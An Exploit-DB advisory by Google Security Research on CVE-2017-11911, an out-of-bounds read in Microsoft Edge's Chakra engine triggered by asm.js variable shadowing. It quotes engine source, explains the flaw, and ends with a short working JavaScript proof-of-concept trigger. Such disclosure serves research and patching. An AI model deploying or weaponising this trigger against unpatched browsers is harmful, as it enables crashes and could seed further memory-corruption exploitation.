Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read

EDB-ID: 43468
Author: Google Security Research
Published: 2018-01-09
CVE: CVE-2017-11911
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody. 
         AsmJsVar * initSource = nullptr; 
         if (decl->sxVar.pnodeInit->nop == knopName) 
         { 
             AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction); 
             if (initSym->GetSymbolType() == AsmJsSymbol::Variable) 
             { 
                 // in this case we are initializing with value of a constant var 
                 initSource = initSym->Cast<AsmJsVar>(); 
             } 
             ... 
         } 
         ... 
         if (initSource) 
         { 
             if (var->GetType().isDouble()) 
             { 
                 mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser())); 
             } 
  
 Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is: 
 1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a". 
 2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read. 
  
 PoC: 
 */ 
  
 function createModule() { 
     'use asm'; 
     const a = 1.0; 
     function f() { 
         var b = a; 
         var a = 0; 
     } 
  
     return f; 
 } 
 var f = createModule(); 
 f();

Source: www.exploit-db.com